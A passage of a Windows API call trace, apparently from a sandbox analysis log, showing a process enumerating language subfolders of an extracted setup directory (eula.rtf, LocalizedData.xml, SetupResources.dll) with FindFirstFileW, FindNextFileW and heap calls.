	[0041.517] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.517] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.517] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.518] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.518] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.518] FindClose (in: hFindFile=0x742c30 | out: hFindFile=0x742c30) returned 1
	[0041.518] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.518] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0041.518] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.518] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ff0
	[0041.519] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.519] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.520] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.520] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.520] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.523] FindClose (in: hFindFile=0x742ff0 | out: hFindFile=0x742ff0) returned 1
	[0041.523] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.523] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0041.523] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.523] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742e30
	[0041.523] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.523] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.523] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.523] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.524] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.524] FindClose (in: hFindFile=0x742e30 | out: hFindFile=0x742e30) returned 1
	[0041.524] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.524] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0041.524] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.524] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742b70
	[0041.524] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.524] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.524] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.524] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.524] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.524] FindClose (in: hFindFile=0x742b70 | out: hFindFile=0x742b70) returned 1
	[0041.524] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.525] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0041.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.525] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7432b0
	[0041.525] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.525] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.525] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.525] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.525] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.525] FindClose (in: hFindFile=0x7432b0 | out: hFindFile=0x7432b0) returned 1
	[0041.525] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.525] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0041.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.525] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7430f0
	[0041.526] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.527] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.527] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.527] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.527] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.528] FindClose (in: hFindFile=0x7430f0 | out: hFindFile=0x7430f0) returned 1
	[0041.528] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.528] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0041.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.528] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743130
	[0041.529] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
